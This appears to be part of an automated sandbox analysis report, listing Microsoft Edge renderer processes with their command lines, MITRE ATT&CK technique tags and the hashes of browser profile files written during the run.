        Suspicious behavior: EnumeratesProcesses
        
        PID:6092
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\kdk3q1bb.be1" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3100,i,5203142742903416778,14843328921795291595,2097152 --field-trial-handle=2208,i,16825786431464543823,102452206910119211,262144 --variations-seed-version --mojo-platform-channel-handle=3136 /prefetch:1
        5⤵
        
        PID:6376
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\kdk3q1bb.be1" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3108,i,4501767611557193735,9430328054788859754,2097152 --field-trial-handle=2208,i,16825786431464543823,102452206910119211,262144 --variations-seed-version --mojo-platform-channel-handle=3224 /prefetch:1
        5⤵
        
        PID:856
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\kdk3q1bb.be1" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=3588,i,17624602625556420428,14198347866475084525,2097152 --field-trial-handle=2208,i,16825786431464543823,102452206910119211,262144 --variations-seed-version --mojo-platform-channel-handle=3600 /prefetch:1
        5⤵
        
        PID:6128
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\kdk3q1bb.be1" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=3628,i,2427684513942144255,1999622351339525860,2097152 --field-trial-handle=2208,i,16825786431464543823,102452206910119211,262144 --variations-seed-version --mojo-platform-channel-handle=4280 /prefetch:9
        5⤵
        
        PID:6632
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\kdk3q1bb.be1" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=3564,i,10945613297262282073,5392858996378947495,2097152 --field-trial-handle=2208,i,16825786431464543823,102452206910119211,262144 --variations-seed-version --mojo-platform-channel-handle=4524 /prefetch:1
        5⤵
        
        PID:5768
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\kdk3q1bb.be1" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=3656,i,1684142421808966531,8083136904651749977,2097152 --field-trial-handle=2208,i,16825786431464543823,102452206910119211,262144 --variations-seed-version --mojo-platform-channel-handle=3564 /prefetch:9
        5⤵
        
        PID:4844
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\kdk3q1bb.be1" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=3664,i,9404502000322001216,12348904090746684479,2097152 --field-trial-handle=2208,i,16825786431464543823,102452206910119211,262144 --variations-seed-version --mojo-platform-channel-handle=4728 /prefetch:1
        5⤵
        
        PID:6568
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\kdk3q1bb.be1" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=3680,i,2375145818671125784,14273321852875600518,2097152 --field-trial-handle=2208,i,16825786431464543823,102452206910119211,262144 --variations-seed-version --mojo-platform-channel-handle=4744 /prefetch:9
        5⤵
        
        PID:5896
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\kdk3q1bb.be1" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=3692,i,17140256330733633571,5955824699905369153,2097152 --field-trial-handle=2208,i,16825786431464543823,102452206910119211,262144 --variations-seed-version --mojo-platform-channel-handle=4732 /prefetch:1
        5⤵
        
        PID:5948
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\kdk3q1bb.be1" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=3704,i,10584161441356385400,17096511554144609642,2097152 --field-trial-handle=2208,i,16825786431464543823,102452206910119211,262144 --variations-seed-version --mojo-platform-channel-handle=3692 /prefetch:9
        5⤵
        
        PID:7108
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\kdk3q1bb.be1" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=3716,i,4174990436777667245,1667764775392354417,2097152 --field-trial-handle=2208,i,16825786431464543823,102452206910119211,262144 --variations-seed-version --mojo-platform-channel-handle=4772 /prefetch:1
        5⤵
        
        PID:3852
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\kdk3q1bb.be1" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=3728,i,15089058153425122095,14756142928544700109,2097152 --field-trial-handle=2208,i,16825786431464543823,102452206910119211,262144 --variations-seed-version --mojo-platform-channel-handle=4808 /prefetch:9
        5⤵
        
        PID:5188

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:6464

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4900

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 2fd25da0788ed8f625608495305f2fbc6887188835cd4234b220f9c99625dc5c
MD5 3c93c38d0f3b77f4ac49473af6224e04
SHA1 3ef32608d5c7b9476f2c35456eb8c09731a8b2a8
SHA512 de0daaee94ac1480e7319ded0b8e1b821000861c3c51bffdaa787dab82fa3b5746bacda79b21a543ccee2b88f059276d1e19f7c6bac9243d2c5a6255134f47c3
SSDEEP 96:iq4uYqGEo9xx+incqKXq3qotzYNYr7aqnm7RIz+hViNLBPzQh0nRAWPiNyDI:iq4uYqGEUdncqKXq3qotzYuWqcIz+hSU
TLSH
T13F91CE323375A0D4C9667F07192C19C462AF4396EA58AF4CB658520EE92B14BDB222F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

blocklist

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist
Size 105KB
SHA256 9a2e622d2c642c5d0a969898b68196ae51f1d4bccc7f447c6273328b5d99f0fd
MD5 5b96906a4651cf3dff41194bbdbb8c14
SHA1 a9a9516fec3c7390975614d1e889a73af399c34c
SHA512 09264b56c71adfea75508f0fabad86bee6d5eafa2808e9e3ad5a3ed6030e9212e7fc8c472ccb153a8a6d37e23e63b7fc6a018d01e16a3104e30eee6188ab1707
SSDEEP 1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7b:fwUQC5VwBIiElEd2K57P7b
TLSH
T104B3B931457E36BF26E93EE828CF1511B84F3912664895D4ABE1FE2C4845E68633CEF4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

protocols.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.10\protocols.json
Size 3KB
SHA256 4fd800e7b1a5fb24b13fac2e31946d205012b7c28d8c61580b0669b2fa3517cc
MD5 1de85fec2dfcc28011a7c2aaab95eb5f
SHA1 80e8c954bfbe8f7ee5a2335c8d969ae033935dc3
SHA512 9c7dd37eb0c094b6aa05201e7c71a8f33b9db81284223bcfa595a44a6ac95d5a6820ab6f07b7aa8d26bf207454e94277bf35332e9c009ee63f083752b6b51750
TLSH
T1D1611DB79A3048090E3412B86B19B35DF63E029F1AD598EB76BE568F1F710F7245C54C
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 e365308021ade71cd7fd8bcb77743afa8328c70101415bb9b419c11ce7afa8b2
MD5 20d252cf697b00581a3fc1a7eb0aa400
SHA1 999f264f6caea10fd708d20094aec5024868af67
SHA512 7bdbd68d07d0b20ca7f49d51c821765822e32a81d51915eddc65d999ab43472632b096aaaf0a8fc634bc0a88ab61a5ff5c5b9e3a19f7fb7623f3e7b7a69eb13a
TLSH
T1ACD0805C17F76C31E554AD7004563F15BA55D5B39B49D73164732C791C4208215911C3
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 6a6727a0a4fa4cb1a57a4c321f756d9dd6f44ea45d205327c5e7e5f18c2f6950
MD5 8f53b23305ec44c09bb086cb47d00ebe
SHA1 a54d190b6b6e3b05a68b18a4e38bc67e0d914f6d
SHA512 24004588102e1fa8a9bf07c27541083145da06836345681ba0f438a086ca89db4bcfe563005d6b736f731acf1ba98f4abfdd021ee48bd0cd93d4afd01bba7f70
TLSH
T1DBD0805C57B76C31E554AD7004573F15BA55D5B39B49973164732C791C4104215911C3
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 178b2be7004022e5a0cd4a0316cec62084d0148a4a0d5e38ab838fa05451614f
MD5 c62f2ff252841b8f83dde6aa71236483
SHA1 f964740e305d3d0a5c87da326e8bb31bae7fc136
SHA512 4f7c0d231c57b6d870879e4d396297cc7023b0fe115b345f2ec0f1fbfc53d5ffae74fa6b44e5458c82ea2983d579cdd7e481ed02fcead7e3f8460609b2e92330
TLSH
T1C4710D44D4A2DC14EFE520B85BED1E983239666A453B6E1732FC5F3CAA13FA312E0854
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe599aa0.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe599aa0.TMP
Size 3KB
SHA256 13082223d4bef30f5e18f2eb6bdeaede26ab439a4b739be474a2633873a6d4cd
MD5 f476fc2927af0628096e9d916b84ef1d
SHA1 9ca7c80e5f00d988b9485f1ba967921a46b61c59
SHA512 538540e59e7bfad718448f31210ec6feba54136d4707aa3c6cb6d898bc45ec2ed2645faa0244cad385905da6d6cf657ee11460c9ca6da200c269d7921efd7a35
TLSH
T145611C54D0A2DC14EBE420B897ED1D983239662A453F6E6731FD5F3CA613FA312E0414
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

HubApps

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
Size 106KB
SHA256 eb2fd7422436fff93f6be09df3294b26cdb7afd18e6aa94dcdc0f208db78b2ed
MD5 25dca813dd764f2197142ef84bc5ce66
SHA1 8d6aefb01ee9f6d1fb0cfd89326cfe35af53a53d
SHA512 a9c8cd547c874b7b69cbb3a0c8214f43837911e522db768dcd075d23d05acfd7122cf2bcad281ea745025e4fb67cc9061b79f9dc1288ac1a113bd0d961841d43
SSDEEP 1536:IfEEtnH74ohBGZqW3iPPDuVvpBI/SvtZsA62UYPq:BuHSRhPjU1
TLSH
T154B35226D6A54C6B01F16264EC794382F325436F9282A82F3B7C5D5C2FBD93A6502F7C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 716b5004735c669dfaa38b89a110ac5b8a1f78be6eb053f168c17484ccb4f142
MD5 f0e28c798268d9190db6fa0948f9f6af
SHA1 ba8ea496fc215b2beabe317baeefd3e622d42c49
SHA512 be1e42858e4e4568aababdeaabde101cf3670b0dac334837a2834e30a5d0ea1184fc2eed5d693e3458c4f2b3a07a8275b204ae623d22ec154053fe8ff78dd99b
TLSH
T12C41AFF3C2E8856DCA5195F0BA187E2BCE1D0914432C3D5AC9E4EF5B93E2471D14199E
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 111B
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d
TLSH
T136B01269E4517CFF074A83A41928F453C3FF0047421C8ABEEA3873AD42A21BD0C28C47
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 49071049ce7a203360571f7dc49507fcffebed838f485b6bb4529617a3c54915
MD5 895b7a5b7d7c7ccb9e774ed65add8bc8
SHA1 49469c4f6205c219ad7473084a54c47d14d3a3a9
SHA512 d0e612345a20d9bc9ca1000bc841b2d86bfd7235ad59d10d0bd3fe5dd7020c7cb37e5a3849e04ba4ea1f4cf83fe2da8aeb09f8a4defe552673f8f1e4a2aeecfd
SSDEEP 192:sxZTQUnHFRfyM//K1Ml8Mci/fpWsdXUX7KWbhCodpyx/W6+WNGY0GdrOwjLh+pIf:sxZ3nlN0i/fAs5UXmcW/bG5cOqec
TLSH
T10562E815AA34697BCCDBD209FA067B53D2F9152296900E44EEFC9A0C05E6BED2207C1F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 36KB
SHA256 e0a60a6c1c455d6ced999e10c70df229a1e3c609951f49377b07d533e80f1d92
MD5 faa17d9be7d80087e29c952d8ddba72a
SHA1 c0e4827cbe682ee6beb6982dbdf2105be701584c
SHA512 27ea0f425ef40789133274bc555a938061e8662f3bf26caa7c1c64eb3c5eee3213e9520d0e143e0a11264f22b83e9792d6a5a2312d91ca6b1fdbf3d021ea1e39
SSDEEP 768:ib91L8/j2UL7pLuLnqeWRmqSQBq8F1+UoAYDCx9Tuqh0VfUC9xbog/OV3n+zJLlc:ib91L8/j2UdEnqeWRmqSQBqu1jaKn+zQ
TLSH
T100031B3B2C4CCB7E4F804E9CEC26BE9A6DE8018F9698C95447EA844C03C76EF55165DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 ba7c8729d71532a176549d16dbe68fba4a3a8d8bee652369ef3e48ca5b36357a
MD5 703834317b042a0f37280decabfb697f
SHA1 d50ac2a271cfd4b214b6cb245634be8c676c6787
SHA512 3b7f5a4276392ae0be55bce008733d16c03d09d64ac886b5c01e5fdf6a07d8247aa5c468a1a51ce7555a65baaa297906576ae2a7fa1fd9d33381c8c603386da5
SSDEEP 24:KNy3F4P0ENyegSK8YzIL0gK8Th03ErEYKIxKYhM1qSdypyXDU/kcOIxKMh81KSxE:KobINKo+9IxKOM0byl5IxKa8caPIpK6
TLSH
T1919174C1713A06A0297E658AD1E4B83B828232937158E83B7BB845954F67E10DDFEDCC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Extension Settings\dcaajljecejllikfgbhjdgeognacjkkp\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Extension Settings\dcaajljecejllikfgbhjdgeognacjkkp\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

OperationConfig

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig~RFe5a254c.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig~RFe5a254c.TMP
Size 3KB
SHA256 8b2e057387e9714efef3580a36459acf56aab53c806cd7d7dbb6e17cef977ef9
MD5 904e6e94a1d46374c8630cfd86cc729f
SHA1 e1d9c3f7813878acc6510d48d95b2bf48b2e1a0d
SHA512 081e2a26252860ff8d8f7a9d0378ae56f0cc50574d13d2a121afdf74284963747ef874a4d73b1df7774cd8570972f4f513eefe0a0325fd088556d5b1ba946712
TLSH
T1DB815C4FCC0CBE77ABAB6A719A35D6B2F79131EA94518A977F8C444EE3050ED0242E50
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 24KB
SHA256 dc1e41c69a7c603647cfd9d1bc2f58beba48f59cbdc7b9045e01381574ad868a
MD5 2fdba542a11d9f18808a6f8dde9454c7
SHA1 d64f4c81380b92c79b8df405f695ed37baf107e2
SHA512 1524442cbae39600c7ab9cbfa583de1778ffdcfc4f40d663a33819388b01787f42ce0b29f7fe882844e8ed1869e6c6e706b48842b3c46c93365259b8cc702afd
SSDEEP 384:nPiFpcXqnp8N08TUNTUlIl3dkt4mRmDf4MX5Q/5+VdcKVtovmTV5fPpznm/:aFdpBwgr2nEw4VeKVtovmDpzm/
TLSH
T10AB2187AD895DD3FE9E74786F24772829FF011A78AD85EC4EAD85E0C00876ED130AC16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 18KB
SHA256 e0fdc3bef3bcbc4996df97318d54b105cd937b662623b56625971ef1d644c9ca
MD5 45d02012452efa58967980136249c01c
SHA1 d44ea5e266a304aa3950e686f7533948e2e175a2
SHA512 45c7cb421895838271c5d5c6d01996c6500740ecd51763acf426516ecc15f34ce1fd0f82ad58d37856bc90b9c5205e35102ff164ed0d93344d5ff7b32edb0b66
SSDEEP 384:nucXqnD8N/U3dkt4mRJX5Q/5+VdcKVVovmTV5fPpznm/:MDV2Xw4VeKVVovmDpzm/
TLSH
T137826D756869AC3B99EB5246F05733439FF520BB9ED82F84E6D89F0C00D669D130EC26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 2636c074d982ddaa1e5ce8aefa00bc92d58eab150efafeabbbdc8c70adfa1392
MD5 930b6e640076372da9ed66d59fe047ea
SHA1 2654a6fc10ba1e440fea6e1111710cefb3ad7baa
SHA512 579e117e9ceecb8deb225d08f08e42786f7e53e183da626e793749144a16fdc12593a229df41b1a6aa1c891d23abfe51bb2d25128dfd2ab247eca7ecfe10a833
SSDEEP 192:bGNsS6hPQmiUytlGjYX5Hw/5+q+FdchzVKVHqLoXq+9U6:bGNF6boMjYX5Q/5+VdcKVIovU6
TLSH
T15E120A75B869EC3B59E7B905F08732439FE52077DE896F84F6E85B1C009A65C270EC22
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 46f9e2001e6e3a1d48e3743d559491ae728b2e6b966a77b880f5d1cbf6a5c0c0
MD5 63b92e05f0ceaaaa11f8c96ac3449211
SHA1 d0146dacfc2c7d365dd4f2c28b576f1da5da306f
SHA512 74658229701f10ee1fc536b2ca8ff2e2d5d3c2f884009a23665bea280702693ad5c18ea4e76482b9f9f0ba55b22ebf06d2dafc1840d525bb9000260ef21a2379
SSDEEP 192:ZGNGF6hNQmiUyRGhGNYX5Hw/5+q+FdchSWYl9U6:ZGNGF6RCGANYX5Q/5+Vdc+bU6
TLSH
T1DC02D735BD687C7B9EF2AD45B44736136FE5102BEA952B94EAE81B1C00D765C2306C22
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 18KB
SHA256 6efcdf4e4ec09675a70194b810a505a01492e1abe19a8700e3540410d3bd02d7
MD5 9cc2e2d59e789c3e5bb5ee27de219610
SHA1 aee2de6fd612aeaf2d3ad6c35ad637d4e3bd7067
SHA512 066080def7f09745c40fa53cf79727a1def22ff426fc06995c1d46f2a2b83d59d6838c415965c1121921214551b6af0671769e7fbff0c6b59644fd666a4e807e
SSDEEP 384:nbcXqnD8N/Usdkt4mRJX5Q/5+VdcKVVovmTV5fPpznm/:DDU2Xw4VeKVVovmDpzm/
TLSH
T18E826D756869AC3B99E75246F05B33439FF520BB9ED82F84E6D89F0C00D669D130EC26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
